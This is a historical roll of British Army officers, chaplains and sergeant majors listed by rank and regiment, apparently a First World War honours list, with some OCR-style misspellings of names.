Tmp Lt. George Thomas Shaw, General List
Capt. Robert, Edward Frederic Shaw, London Reg.
Q.M. and Hon. Capt. Joseph Patrick Lambert Shea, Durham Light Inf.
Tmp Lt. William Frank Sheather, Machine Gun Corps
Lt. Thomas Lilhco Shedden, Army Service Corps
Tmp Capt. John Sheepshanks, Royal Garrison Arty.
Tmp Capt. Herbert Sheffield, Army Service Corps
Tmp 2nd Lt. Joseph Sheils, Lancashire Fusiliers
Lt. Harry Neal Shelmerdine, Royal Field Arty.
Tmp Capt. Allen Goodrich Shenstone, Royal Engineers
Tmp Lt. Austin Kirk Shenton, Royal Engineers
Capt. James Ogilvy Shepherd, Royal Field Arty.
Tmp Lt. Richard Bellamy Sheppard, Welsh Reg.
Tmp Lt. Gordon Shernff, Army Ordnance Depot
Capt. Geoffrey William Sherston, Rifle Brigade
Capt. Charles Frederick Shields, Leicestershire Reg.
Tmp Sergeant Major James Shiels, Cameron Highlanders
Lt. Herbert Shiner, Royal Garrison Arty.
Tmp Capt. George Gordon Shone, Royal Field Arty.
Lt. Frederick William Short, Royal Field Arty.
2nd Lt. Sidney Sparkling Moverley Sibold, Royal Field Arty.
Lt. Frank Pitchford Silvers, South Staffordshire Reg.
Lt. Archibald Guy Simmons, Honourable Arty. Company
Tmp Capt. Leslie Hyland Simmons, Royal Field Arty.
Lt. Charles Henville Simonds, Royal Engineers
Tmp Capt. Alfred Simpkins, Royal Fusiliers
C.S. Maj. Robert Henry Simpson, Army Service Corps
Lt. Robert Kennedy Muir Simpson, Royal Field Arty.
2nd Lt. Robert Thorburn Simpson, Liverpool Reg.
Tmp Capt. John Sinclair, Royal Engineers
Capt. Oliver Sturdy Sinnatt, London Reg.
Tmp Capt. Leslie Henderson Skene RAMC
Lt. Arthur Birtlee Slack, 6th Battalion, Lancashire Fusiliers, attd. Trench Mortar Battery
Capt. Francis George Lambart Sladen, Royal Engineers
Tmp Capt. Francis Philip Slater, Royal Garrison Arty.
Tmp Capt. Reginald Anderson Slater, Royal Irish Reg.
Capt. Sydney Lawrence Slocock Royal Army Veterinary Corps
2nd Lt. Johnson Ewart Smart, Manchester Reg.
Capt. Alexander Smith, Royal Horse Arty.
Capt. Allison Eugene Smith, Royal Arty.
2nd Lt. Arthur, Douglas Smith, Royal Field Arty.
2nd Lt. Albert Ernest Smith, Royal Garrison Arty.
Tmp Capt. Allison Gould Smith, North Lancashire Reg.
Capt. Arthur Macklow Smith, Royal Garrison Arty., attd. Royal Field Arty.
Tmp Capt. Charles Sydney Smith, Machine Gun Corps
Tmp Capt. Daniel Rowland Smith, Army Ordnance Depot
Lt. Edward Archibald Smitt, Royal Engineers
Tmp Lt. Edward Montague Smith, Royal Engineers
Tmp Capt. Ewart William Smith, Army Service Corps
Lt. Frank George Smith, Army Service Corps
Lt. Frederick Smith, Royal Garrison Arty.
Tmp Capt. Harold-Smith, West Yorkshire Reg.
Capt. Harry Smith, West Riding Reg., attd. Machine Gun Corps
2nd Lt. James Lindsay Salmond Smith, Royal Garrison Arty.
2nd Lt. John Poole Smith, Royal Field Arty.
Tmp Capt. Joseph Edward Geoffrey Smith, Somerset Light Inf.
Capt. Richard Albert Bielchan Smith, Royal Engineers
Tmp 2nd Lt. Rodenc Franklyn Smith, Shropshire Light Inf.
Lt. Samuel-Haroild Smith, Cheshire Reg.
Tmp Lt. Stephen Berthold Smith, Royal Flying Corps
Tmp 2nd Lt. Stuart Arthur Smith, attd. Trench Mortar Battery
Tmp Lt. Sydney Smith, Royal Engineers
Lt. William George Smith, Field Company, Royal Engineers
Sgt. Major William George Smith, Liverpool Reg.
Tmp Capt. Arthur Ferguson Heyland Smyth, Royal Inniskilling Fusiliers
Tmp Capt. Edmund Fitzgerald Smyth, Royal Irish Rifles
Q.M. and Temp Honorary Lt. Samuel Snow, Durham Light Inf.
Capt. Arthur Herbert Tennyson, Lord Somers, 1st Life Guards, attd. Yeomanry
Lt. Austin Somervell, West Riding Reg.
Tmp Lt. Alexander Henderson Souitar, Royal Engineers
Tmp Capt. Compton Southgaite, Northumberland Fusiliers
2nd Lt. Frank Soward, Duke of Cornwall's Light Inf.
Tmp Capt. Eric Bourne Bentnick Speed, Yorkshire Light Inf.
Q.M. and Hon. Capt. Andrew Spence, Royal Scots Fusiliers
Lt. Arthur Morphew Spence, Royal Horse Arty.
Tmp Q.M. and Hon. Lt. Henry Spencer-Smith, Leicestershire Reg.
Tmp Capt. Michael Spencer-Smith, General List (C. C. Heavy Arty.)
Tmp Capt. Arthur Douglas Spooner, Supply Column, Army Service Corps
Capt. Evelyn Charles Sprawson, RAMC
2nd Lt. George Moore Sproule, Army Service Corps
Q.M. and Hon. Lt. James Chambers Sproule, Cheshire Reg.
Tmp Lt. George Bertrand Spry, Royal Fusiliers
Q.M. and Hon. Capt. Horace Owen Squire, Leinster Reg.
Tmp Capt. Arthur Percy Havers Squires, Lincolnshire Reg., Comdg Trench Mortar Battery
C.S. Maj. William Arthur Stace, Royal Sussex Reg.
Capt. Cecil Spurling Staddon, RAMC
Tmp Lt. Ralph Staley, Field Company, Royal Engineers
Lt. Thomas Henry Gilborn Stamper, Royal Field Arty.
Capt. Reginald Stanafocth, Nottinghamshire and Derbyshire Reg.
Rev. George, Helliwell Crawford Stanley, Royal Army Chaplains' Dept.
Lt. James Reginald Stanser, York & Lancaster Reg.
Tmp Q.M. and Hon. Lt. William Samuel Herl Staple, King's Own Scottish Borderers
Lt. Vincent Francis Stapleton-Bretherton, Field Company, Royal Engineers
Q.M. and Hon. Lt. James Thomas Starkie, RAMC
Capt. Thomas Henry Langdale Stebbing, Nottinghamshire and Derbyshire Reg.
2nd Lt. Gilbert Coleridge Stedham, Royal Engineers
Lt. Henry Edwin Steer, Shropshire Light Inf.
Capt. Derek Jarrett Steevens, Royal Field Arty.
Lt. Charles Gerald Stephens, Oxfordshire & Buckinghamshire Light Inf., attd. Machine Gun Corps
2nd Lt. Kenneth Travers Stephen, Royal Field Arty.
2nd Lt. Robert Stephenson, Royal Inniskilling Fusiliers
Capt. Frederick Claude Stern, Yeomanry
Lt. Theodore Henry Stern, Royal Engineers
Tmp Lt. Leo Stevem, Special List
Tmp Capt. Leicester Bradney Stevens, Royal Arty.
Tmp Capt. Hubert Craddock Stevenson, Royal Field Arty.
Capt. John Hugh Macdonald Stevenson, Royal Arty., Mtn. Battery
Tmp Lt. Michael Stevenson, Royal Engineers
Tmp Capt. John Colin MacDougall Stewart, General List
Tmp Capt. John Hazelton Stewart, Royal Irish Rifles
Tmp 2nd Lt. Robert Montgomery Stewart, King's Own Scottish Borderers and Machine Gun Corps
Capt. Walter Francis Stirling, late Royal Dublin Fusiliers
Capt. Tom Thornley MacGillicuddy Stoker, Royal Munster Fusiliers
Tmp Capt. William Alfred Collis Stone, Royal Field Arty.
Capt. Gerald Johnston Lipyeatt Stoney, Worcestershire Reg.
Capt. Charles Ronald Stott, York & Lancaster Reg., attd. Royal Engineers
Lt. William Stott, East Lancashire Reg.
Tmp Lt. Bernard Lewis Strauss, East Kent Reg.
Capt. Cecil John Charles Street, Royal Garrison Arty.
Tmp Capt. Charles Norman Lockhart Stronge, Royal Inniskilling Fusiliers
Capt. Humphrey Cecil Travell Stronge, East Kent Reg., and Nigeria Reg.
2nd Lt. Lewis Robert Stubbs, Royal Garrison Arty.
2nd Lt. Philip Lange Sugden, Royal Garrison Arty.
Tmp Capt. Frederick Summers, Royal Engineers
Capt. Albert James Sutcliffe, Cheshire Reg.
Lt. James Lawrence Cathcart Sutherland, Royal West Kent Reg.
Capt. Francis Henry Sutton, Hussars
2nd Lt. Jack Cyril Sutton, Manchester Reg.
C.S. Maj. William Swam, Royal Engineers
Capt. James Swan RAMC
Tmp Lt. Sydney Bartlett Swan, Gloucestershire Reg.
Tmp Lt. Alfred Bertram Swann, Middlesex Reg.
Capt. Alan Cawley Swindells, Royal Field Arty.
Capt. William Swinton, Royal Field Arty.
Tmp Lt. Stanley William Sykes, Intelligence Corps
Tmp Lt. William Smith Syme, Cheshire Reg.
Tmp Capt. Henry John Hugh Symons, RAMC
2nd Lt. Edward Noel Callis Symonds, Royal Field Arty.
Capt. Henry Gordon Tabuteau-Herrick, Royal Army Veterinary Corps
Tmp 2nd Lt. Gerald Richard Tadman, Spec List
Lt. Osborne George Tancock, Royal Field Arty.
Capt. Harold Astley Tapp, Army Service Corps
Tmp Capt. Percy John Rutty Tapp, Divisional Train, Army Service Corps
Lt. Sydney Ernest Tarrant, Royal Field Arty., attd. Survey C, Royal Engineers
Capt. Geoffrey Bulmer Tatham, Rifle Brigade
Lt. Norman Leuchars Tatham, Royal Field Arty.
Tmp Capt. Charles MacGregor Taylor, Royal Field Arty.
Capt. Edward Mallalieu Brooke Taylor, Nottinghamshire and Derbyshire Reg.
Tmp Lt. Edward Roland Taylor, Royal Engineers
Tmp 2nd Lt. Ewart John Taylor, Gloucestershire Reg., attd. Welsh Reg.
Tmp Q.M. and Hon. Lt. Frank Taylor, Lincolnshire Reg.
Lt. Frederick John Taylor, Royal Field Arty.
Tmp Lt. George Osborne Taylor, General List, attd. Signal Company, Royal Engineers
Tmp Capt. George Vere Taylor, Rifles Brigade
Capt. Harold Meadows Taylor, Norfolk Reg. and Machine Gun Corps
Q.M.S. James Taylor, Durham Light Inf.
Tmp Capt. Henry Augustus Taylor, Royal Fusiliers
Capt. Kenneth Baring Taylor, Royal Welsh Fusiliers
Lt. Norman Taylor, Royal Engineers
2nd Lt. Wilfrid Adams Teakle, Essex Reg., attd. Rifle Brigade
Tmp Capt. Charles Hugh Tebay, Royal Field Arty.
Capt. Claude Enc Tebbitt, Signal Company, Royal Engineers
Capt. Eustace Ernest Vazeille Temperley, Royal Engineers
Lt. Bertram Temple, Gloucestershire Reg.
Tmp Lt. Alfred Alan Thackery, West Yorkshire Reg., attd. Essex Reg.
Capt. Reginald Sparshatt Thatcher, Somerset Light Inf.
Sgt. Major William Thomas Theobald, Bedfordshire Reg.
2nd Lt. Henry Thirkill, Royal Engineers, attd. Signal Service
Tmp Capt. Kenneth Alfred Thirsk, East Yorkshire Reg.
Tmp Lt. George Thorn, Nyasaland Field Force
Tmp Capt. Basil Walter Thomas, Graves Registration Unit
Tmp Lt. John Henry Thomas, Special List
Lt. William Humphrey Thomas, Yeomanry
Capt. Herbert Stanley Thompson, Royal Garrison Arty.
2nd Lt. James Thompson, Siege Battery, Royal Garrison Arty.
Tmp 2nd Lt. John Bell Langhorn Thompson, Road Construction Company, Royal Engineers
C.S. Maj. John Thomas Thompson, Northumberland Fusiliers
Lt. Leslie Frank Thompson, Royal Field Arty.
Tmp Lt. William Harding Thompson, Royal Field Arty.
C.S. Maj. Alex Downie Thomson, Royal Scots
Capt. Edmund John Thomson, Siege Bty, Royal Garrison Arty.
Lt. James Smith Thomson, Royal Scots
Lt. Robert Thorburn, Indian Army Reserve of Ofc.s, attd. Light Inf.
Lt. Stephen Keith Thorburn, Royal Field Arty.
Tmp Capt. Frank Oswald Thome, Manchester Reg.
Lt. Philip Howard Thome, Royal Engineers
Tmp Capt. Leslie Thorns, General List
Tmp Capt. Bernard Martin Thornton, Army Ordnance Depot
Tmp Capt. George Lostock Thornton, RAMC
Q.M.S. Samuel West Thornton, Royal Irish Rifles
Capt. William Henry Jelf Thornton, Royal Arty.
2nd Lt. Francis John Mytton Thornycrolt, Manchester Reg.
Tmp Capt. Bertram Leland Thorp, Army Service Corps, and Tank Corps
2nd Lt. George Fleetwood Thunlier, Devonshire Reg.
2nd Lt. Charles Ernest Thurston, Royal Scots 2nd Lt. William Evan Tibbs, Royal Arty.
Q.M. and Hon. Capt. Thomas John Tilbrook, RAMC
Capt. John Arthur Stuart Tillard, Royal Engineers
Capt. Justice Crosland Tilly, West Yorkshire Reg., attd. Tank Corps
2nd Lt. Leonard Arthur Tilney, Royal Horse Guards, and Royal Flying Corps
Tmp Capt. Robert Tindall RAMC
Lt. George Evelyn Tiriling, East Lancashire Reg.
Rev. George Wolfe Robert Tobias, Royal Army Chaplains' Dept.
2nd Lt. Herbert Stanley Todd, East Surrey Reg.
Capt. Richard Tomlinson, Army Service Corps
Tmp Lt. Thomas Fowler Tomlinson, Royal Engineers
Lt. Joseph Walter Tompkins, Royal Garrison Arty.
Tmp Lt. Maynard Tomson, Divisional Signal Company, Royal Engineers
Lt. Kenneth Sanderson Torrance, Manchester Reg.
Tmp Capt. William Frederick Topley, Labour Corps
Lt. Arthur Totton, London Reg.
Tmp Capt. Robert Wilfrid Townsend, Devonshire Reg.
Lt. Cecil Edward Joseph Trafford, Scots Guards
Tmp Lt. Gilbert Barsham Traill, Royal Field Arty.
Capt. William Augustus Trasenster, Royal Fusiliers
Capt. Tom Stockham Travere, London Reg.
2nd Lt. Francis Joseph Traylen, Rifle Brigade
2nd Lt. Harry Walter Tredmnick, Yeomanry
2nd Lt. Mansel James Tregurtha, London Reg., attd. Machine Gun Corps
Tmp Capt. Rudolph Montague Tren, Army Service Corps
Tmp Lt. Henry Prentis Trend, Connaught Rangers
Capt. Leslie Hamilton Trist, Lincolnshire Reg., attd. East Lancashire Reg.
Tmp 2nd Lt. Alick Dunbar Trotter, South Lancashire Reg.
Lt. Harry William Troupe, Royal Horse Arty., attd. Royal Field Arty.
Tmp Capt. Everard Hugh Trousdale, Army Service Corps
Capt. Alexander James Trousdell, Royal Irish Fusiliers
Lt. Arthur Malcolm Gillett Trotter, Royal Field Arty.
Tmp Capt. Joseph Ernest Troughton, West Riding Reg.
Tmp 2nd Lt. Robert William Trump, Spec Company, Royal Engineers
Capt. George Arthur Tryon, King's Royal Rifle Corps
Tmp Capt. Spencer Tryon, King's African Rifles
Tmp Capt. James Somerville Turcau, Seaforth Highlanders
Capt. Alan Leonard Smith Tuke RAMC
Tmp Capt. Oswald Graham Noel Turnbull, Army Service Corps
Tmp Lt. Arthur Robert Turner, East African Pioneer Company
Tmp Lt. Clifford Grosvenor Turner, Royal Engineers
Tmp Lt. Henry Elliot Turner, Signal Company, Royal Engineers
C.S. Maj. Henry Michael Turner, London Reg.
Lt. Maurice Finnemore Turner, Monmouthshire Reg.
Capt. Montagu Trevor Turner, Royal Sussex Reg.
Lt. Oswald Morris Turner, Royal Field Arty.
Tmp Lt. Roland Turner, York & Lancaster Reg.
Lt. William Maitland Turner, Northumberland Fusiliers
Tmp Lt. James Wmford Turrell, Royal Naval Volunteer Reserve
2nd Lt. Fiank Percival Twine, Royal Sussex Reg.
Capt. The Hon. Ivo Murray Twisleton-Wykeham-Fiennes, Royal Field Arty.
Capt. Dudley Cyril Twiss, South Staffordshire Reg.
2nd Lt. Harold William Tyler, Royal Engineers
Rev. Edward Denis Tyndall, Royal Army Chaplains' Dept.
Tmp Lt. John Altabon Guise Tyndale, Railway Company, Royal Engineers
Capt. Guy Yelverton Tyrrell, East Kent Reg.
Tmp 2nd Lt. Roland King Uhthoff, Royal Engineers
Tmp 2nd Lt. Alfred Edwin Underhay, Royal West Surrey Reg.
Capt. Ian Ure, Argyll and Sutherland Highlanders
Lt. Harry Usher, Royal Scots, attd. Machine Gun Corps
Lt. William Vance, Royal Irish Fusiliers
Capt. Edward Charles Louis van Cutsem, Shropshire Light Inf.
Capt. Stephen Hugh Van Neck, London Reg.
Lt. William John Varley, Royal Field Arty.
Capt. Bernard Varvill, RAMC
Tmp Capt. Michael Noel Varvill, Royal Engineers, attd. Railway Corps (Prot)
Capt. Charles Hardy Vaughan, Army Service Corps
Lt. Edward Harold Vaughan, Yeomanry
Capt. Edmund Wayne Vaughan RAMC
Tmp Capt. Thomas Hubert Veasey, General List
Capt. Ernest Hardinge Veitch, Durham Light Inf.
Tmp Capt. Robert Vernet, General List
Tmp R.S. Maj. Henry Vincent, Oxfordshire & Buckinghamshire Light Inf.
Lt. Louis Henry Xavier Vintcent, Royal Garrison Arty.
Lt. Thomas. Aubrey Vise, Royal Garrison Arty.
Capt. Enc William Noel Wade, Hampshire Reg.
Capt. George Albert Wade, South Staffordshire Reg., attd. MGC
Capt. Richard Harry Wagner, London Reg., attd. Royal Engineers
Tmp Capt. Thomas Hinde Wake, Northumberland Fusiliers
Capt. Kenrick Prescot Walker, York & Lancaster Reg.
Tmp Lt. Knuts Waldenstrom, Intelligence Corps
Rev. Samuel Charles Waldegrave, Royal Army Chaplains' Dept.
Tmp Lt. Frank Raphael Waley, General List, and Trench Mortar Battery
Tmp Capt. Arthur Francis Gregory Walker, General List
Tmp Lt. Alexander Izat Walker, Divisional Signal Company, Royal Engineers
Tmp Lt. Edwin Harvey Walker, Royal Field Arty.
Capt. Joseph Walker RAMC
Tmp 2nd Lt. John Willis Walker, Tunnlg Company, Royal Engineers
Lt. Thornton Howard Walker, Royal Field Arty., Ammunition Column
Capt. Ulnc William Ferrier Walker, Royal Army Veterinary Corps
C.S. Maj. John Wall, Grenadier Guards, attd. Honourable Arty. Company
Tmp Capt. Edward Chapman Wallace, RAMC
Lt. Frederic Campbell Wallace, Royal Irish Rifles, Spec. Reserve
Tmp Lt. John Wallace, Divisional Signals Company, Royal Engineers
Lt. Gerald Edward Henry Waller, Siege Company (R Mon.), Royal Engineers
Capt. Ernest Walling, West Yorkshire Reg.
Lt. Frederick Morfee Walsh, Royal Field Arty.
Capt. Ernest John Walthew, Field Company, Royal Engineers
Capt. Frederick Walton, Durham Light Inf.
Capt. Percy Walton, Gordon Highlanders
Lt. Allan Edgar Wand, Leicestershire Reg.
Lt. Alsager Warburton, Liverpool Reg.
Tmp Lt. Charles Wilson Ward, Royal Garrison Arty.
Capt. Joseph Hugh Ward RAMC
Capt. John Percival Ward, Field Company, Royal Engineers
Tmp 2nd Lt. Orlando Frank Montague Ward, Royal Arty.
Q.M. and Hon. Capt. Herbert Ernest Balfern Ware, RAMC
R.S. Maj. William Francis Warren, Royal West Kent Reg.
Tmp 2nd Lt. John Charles Warren, Welsh Reg.
Lt. Douglas Charles Warwick, North Staffordshire Reg., attd. Machine Gun Corps
Tmp Capt. Hugh Fleming Warwick RAMC
Capt. Cyril Walter Carleton Wasey, Royal Warwickshire Reg., attd. Royal Flying Corps
C.S. Maj. Harold George Waters, Yorkshire Light Inf.
Tmp Lt. Charles Tyrrell Watkins, Army Ordnance Depot
Tmp Capt. Gwilym David Watkins RAMC
Tmp 2nd Lt. James William Watkins, Lancashire Fusiliers
Hon. Capt. Stephen Watling, Army Ordnance Depot
Capt. Edward Watson, Highland Light Inf.
Tmp Capt. Aubrey Wentworth Harrison Watson, King's Royal Rifle Corps
R.S. Maj. Joseph Watson, Durham Light Inf.
Tmp Capt. James Watson, Army Service Corps
Tmp Capt. John Dalglish Watson, RAMC
2nd Lt. Kenneth Charles Forrester Watson, South Lancashire Reg., attd. Royal Warwickshire Reg.
Tmp Capt. Stanley Watson, Cheshire Reg.
Lt. Thomas William Watson, Royal Field Arty.
Tmp Capt. William Barrie Watson RAMC
2nd Lt. Hugo Burr Craig Watt, Durham Light Inf.
Capt. James Cairnes Watt, East African Medical Service, attd. King's African Rifles
Tmp Capt. Reginald Cuthbert Watts, Royal Warwickshire Reg.
Lt. Thomas George Watt, Royal Field Arty.
Tmp 2nd Lt. Hedley George Watts, attd. Liverpool Reg.
Tmp 2nd Lt. Thomas Nathaniel Watts-Watts, Oxfordshire & Buckinghamshire Light Inf.
Capt. Herbert Waylen, Wiltshire Reg.
2nd Lt. Henry Buckland Weatherdon, Royal Field Arty., attd. Labour Corps
Tmp 2nd Lt. Oliver Stanley Webb, Signal Company, Royal Engineers
Capt. Stuart Napier Charles Webb, South Wales Borderers and Nigeria Reg.
C.S. Maj. William Webb, 2nd Battalion, Suffolk Reg., attd. Royal Welsh Fusiliers
Tmp Lt. Geoffrey John Websdale, Signal Company, Royal Engineers
Capt. William Joseph Webster RAMC
Tmp Capt. Llewellyn McIntyre Weeks, RAMC
2nd Lt. Wilfrid Clement Septimus Weighill, West Yorkshire Reg.
Capt. George Gordon Weir, Royal Scots
Rev. Frederick William Welbon, Royal Army Chaplains' Dept.
Tmp Capt. Lewis Barrington Weldon, Special List
Q.M. and Hon. Lt. Allan Welch, West Yorkshire Reg.
2nd Lt. Thomas Ridley Welch, Durham Light Inf.
Tmp Lt. Charles Douglas Wells, Royal Lancaster Reg.
Tmp Lt. Cecil Frank Wells, Royal Fusiliers
Rev. Edward John Welsher, Royal Army Chaplains' Dept.
Tmp Capt. Archibald Stewart West, Royal Field Arty.
Lt. Harry Gordon West, Liverpool Reg.
Lt. Louis John Westbury, Royal Field Arty.
Lt. Robert Burns Wharrie, Highland Light Inf., attd. Machine Gun Corps
Lt. Walter Roland Tracey Whatmore, Royal Warwickshire Reg.
Capt. Alexander Hamilton Wheeler, West Somerset Yeomanry
Capt. John Bickersteth Wheeler, Hussars, attd. Signal Service
Tmp Capt. Bertrand Percy Whillis, Northumberland Fusiliers
Tmp Capt. Everard White, Royal Engineers
Tmp Lt. Frank Buller Howard White, Royal Engineers
Tmp Capt. Bernard Burke White, Durham Light Inf.
Tmp Capt. George Plunkett White RAMC
C.S. Maj. Percy White, Royal Sussex Reg.
Tmp 2nd Lt. Sidney John White, Spec. Company, Royal Engineers
Tmp Capt. William Robert White, Royal Irish Rifles
Lt. Edward George Lang Whiteaway, Yorkshire Light Inf., attd. West Yorkshire Reg.
Lt. Gerald Herbert Penn Whitfield, Royal Irish Rifles
Lt. Philip Geoffrey Whitefoord, Royal Arty.
Lt. Reginald. Henry Hughes Whitehead, Royal Horse Arty.
Lt. Reginald Willoughby Whitehead, Royal Field Arty.
Capt. Augustin George Richard Whitehouse, Herefordshire Reg.
Lt. John Francis Martin Whiteley, Royal Engineers
Tmp Capt. Edward Victor Whiteway, East Surrey Reg.
Capt. Ernest James Whiteon, Highland Light Inf.
Lt. Francis Robert Whitten, Field Company, Royal Engineers
2nd Lt. Percy Henry Roy Whittet, Royal Flying Corps
Lt. Arthur William Whittingham, Royal Field Arty.
Lt. Mark Whitwill, Royal Engineers
Capt. Gerald Eden Mynors Whittuck, Somerset Light Inf.
Tmp Capt. Percy Whyatt, Nottinghamshire and Derbyshire Reg.
Capt. Robert Whyte, London Reg.
Lt. Charles Foster Wicks, Royal Field Arty.
Lt. Frederick James Wicks, Royal Garrison Arty., attd. Army Ordnance Depot
Lt. John Henry Becher Wigginton, Army Service Corps
Capt. Henry Rowe Wight, Border Reg., attd. Royal Engineers
Lt. Arthur Bennett Wightman, Manchester Reg.
Capt. Lionel St. George Wilkinson, Manchester Reg.
Tmp Capt. William Dugdale Wilkinson, Royal Field Arty.
Lt. Basil Henry Williams, Hussars
2nd Lt. Cuthbert Gray Williams, Royal Field Arty.
2nd Lt. Edmund Charles Williams, Royal Munster Fusiliers
Tmp Lt. Frank Harry Williams, Road Cons Company, Royal Engineers
Q.M. and Hon. Lt. George John Williams, Royal Warwickshire Reg.
Tmp Capt. Hugh Patrick Williams, Army Service Corps
Tmp Lt. Leslie Hamlyn Williams, Army Ordnance Depot
2nd Lt. Nigel Oldham Williams, London Reg., attd. Kings Royal Rifle Corps
2nd Lt. Richard Williams, Royal Garrison Arty.
Tmp Lt. Robert Arthur Williams, Army Troops, Royal Engineers
Tmp 2nd Lt. Sedley Gerald Williams, General List, Devonshire Reg., attd. Trench Mortar Battery
Rev. Thomas John Williams, Royal Army Chaplains' Dept.
Lt. William Henry Williams, Army Service Corps
Rev. William James Williams, Royal Army Chaplains' Dept.
Lt. Bertram Clough Williams-Ellis, Welsh Guards, attd. Tank Corps
Capt. Hudleston Noel Hedworth Williamson, Royal Field Arty.
Lt. John Williamson, Royal Field Arty.
Lt. Alfred Gordon Wills, Cambridgeshire Reg., attd. Machine Gun Corps
2nd Lt. Frederick Arthur Neville Wilmott, Royal Berkshire Reg.
Tmp Lt. Stanley Birley Wilmot, Royal Engineers
2nd Lt. Arthur Wilson, Leinster Reg., attd. Machine Gun Corps
Tmp Capt. Alan Wilson RAMC
Capt. Alexander Frazer Wilson RAMC
Lt. George Henry Wilson, Royal Field Arty.
Tmp 2nd Lt. George Ronald Wilson, Machine Gun Corps
Lt. Herbert Wilson, Royal Garrison Arty.
Capt. William Fothergill Wilson RAMC
Lt. Roy Ansted Winder, Middlesex Reg. and Tank Corps
R.S. Maj. Thomas Winderam, Scottish Rifles
Capt. William Palmer Wilton, London Reg.
2nd Lt. William Wilberforce Winkworth, Royal Field Arty.
Sgt. Major John Winmill, Rifle Brigade
Lt. William Meggitt Winter, Royal Garrison Arty.
Lt. James Percival Winterbotham, Gloucestershire Reg.
Lt. Cuthbert Walter Wise, Army Service Corps and Royal Flying Corps
Lt. George Leslie Keith Wisely, Royal Field Arty.
Tmp Capt. Charles Watts RAMC
2nd Lt. Arthur Charles Wood, Royal Garrison Arty.
Capt. Arderne Relf Wood, Yeomanry
Tmp Lt. Charles Constable Wood, Royal Irish Rifles
Capt. Frank Wood, Lancashire Fusiliers
2nd Lt. Kenneth Berridge Wood, Leicestershire Reg., attd. Machine Gun Corps
Capt. William Vincent Wood, RAMC
Lt. Cyril Frank Woodbridge Royal Field Arty.
2nd Lt. Bond Wilby Woodhouse, Royal Engineers
C.S. Maj. Horace Dawson Woods, Bedforshire Reg.
Tmp Lt. Charles Campbell Woolley, South Wales Borderers
Capt. John Sims Woolley, Royal Garrison Arty.
Lt. William Woolliscroft, Royal Field Arty., attd. Trench Mortar Battery
Tmp 2nd Lt. John Norman Wootton, attd. Trench Mortar Battery
Lt. Leslie Graham Wormald, Royal Field Arty.
Capt. William Parker Wrathall, Royal Highlanders
Tmp Capt. Clifton Wright, Signal Company, Royal Engineers
Lt. Charles Seymour Wright, Royal Engineers, Signal Company
Capt. Egerton Lowndes Wright, Oxfordshire & Buckinghamshire Light Inf.
C.S. Maj. Harry Joseph Wright, Scots Guards, attd. London Reg.
Tmp Capt. Herbert William Wright, Field Company, Royal Engineers
2nd Lt. Percy Frederic Wright, London Reg.
Tmp Capt. Peter Wright, Royal Field Arty.
Tmp Lt. Wilfred Wright, Machine Gun Corps
Capt. Harold Anthony Saxton Wurtele, Royal Field Arty.
Tmp Capt. Richard John Penfold Wyatt, General List
Lt. and Temp Capt. David Courtney Wybrants, Army Service Corps Divisional Supply Column
Capt. Charles Edward Fowler Wynooll, Royal Engineers
Lt. Guy Richard Charles Wyndham, King's Royal Rifle Corps
Tmp Lt. Robert Mainwaring Wynne-Eyton, General List and Royal Flying Corps
Lt. Henry George Yates, Royal Field Arty.
2nd Lt. James Yates, Northumberland Fusiliers
2nd Lt. Alec Dawson Young, West Yorkshire Reg.
Lt. James Young, Royal Scots
2nd Lt. Leslie Abraham, Yeomanry
2nd Lt. Johnson Morris Affleck, Northumberland Fusiliers
Tmp Lt. Ian Woodford Aitken, Dragoon Guards
Lt. John Aldam Aizlewood, Dragoon Guards
Lt. William Poyntz Alcock, Hussars
Tmp 2nd Lt. Christopher Rowland Aldereon, Royal Engineers
Sub-Major Amar Sing Thapa, Sardar Bahadur, Indian Army
Capt. William Herbert Wynne Apperley, Royal Sussex Reg.
Tmp Lt. Richard Montgomery Archdale, Hussars
Tmp Lt. Albert Herbert Howard Armstrong, Royal Inniskilling Fusiliers
2nd Lt. Arnold Bright Ashford, London Reg.
Lt. Edward Gordon Audland, Royal Field Arty.
2nd Lt. Alfred Ernest Bagnall, York & Lancaster Reg.
Capt. The Hon. George Evan Michael Baillie, Royal Horse Arty.
Capt. Sidney Charles Ball, Royal Lancaster Reg.
Rev. Humphrey Gordon Barclay, Royal Army Chaplains' Dept.
Tmp Lt. Warren Barclay, Royal Naval Volunteer Reserve
2nd Lt. David Crawford Gordon Bardsley, South Staffordshire Reg.
Tmp 2nd Lt. Wilfred Pease Barker, West Yorkshire Reg., attd. Machine Gun Corps
Lt. Roland Todd Barnard, Dragoon Guards
Tmp Sub Lt. John Cyril Bartholomew, Royal Naval Volunteer Reserve
Lt. Herbert Ralph Barton, Hussars
Lt. Bernard Paul Gascoigne Beanlands, Hampshire Reg., and Royal Flying Corps
2nd Lt. James Richardson Beckett, North Lancashire Reg.
Lt. Eric Lowthian Bell, Northumberland Fusiliers
2nd Lt. Richard Bell, Border Reg.
Capt. Augustus Charles Herbert Benke, London Reg.
Tmp 2nd Lt. Richard Reed Bentley, General List and Royal Flying Corps
2nd Lt. Robert Humphrey Binney, Essex Reg. Spec. Reserve
Lt. Duncan Blackwell, London Reg.
2nd Lt. Henry Claude Allan Blanchard, London Reg.
2nd Lt. David Blair, Royal Field Arty.
Tmp 2nd Lt. Stanley George Blake, Gloucestershire Reg., attd. Devonshire Reg.
Lt. Cecil Francis Ramsden Bland, Royal Berkshire Reg.
Tmp 2nd Lt. Reginald Percy Bloor, Royal Field Arty., attd. Trench Mortar Battery
Lt. Douglas Maryon Bluett, Honourable Arty. Company
Tmp 2nd Lt. Sidney. Blyth, Royal Scots
2nd Lt. Edward Henry Brooke Boulton, Royal Field Arty.
2nd Lt. Herbert Booth, London Reg.
2nd Lt. James Duncan Boyd, Royal Field Arty.
Lt. William Boyd, Royal Field Arty., attd. Royal Engineers
Capt. Allen Basil Bratton, North Lancashire Reg.
Tmp Sub Lt. Joe Willis Brearley, Royal Naval Volunteer Reserve
Capt. George AlbertBrett, London Reg.
Lt. Francis James Bridges, Hussars, attd. Machine Gun Corps
Tmp Capt. John Frederick Broughton RAMC
Lt. Bernard Loftus Brown, Royal Garrison Arty.
Lt. John Bruce, Royal Engineers
Tmp Lt. Harry Buckley, Manchester Reg.
Capt. George Talbot Burney, Gordon Highlanders
2nd Lt. John Alexander Burton, Northumberland Fusiliers
2nd Lt. Leslie Frederick Burton, South Staffordshire Reg.
Tmp 2nd Lt. Alfred Trego Butler, Worcestershire Reg.
2nd Lt. Arnold Hewitt Butterworth, Welsh Reg.
Tmp Capt. Hugh Vyvian Edward Byrne, Norfolk Reg.
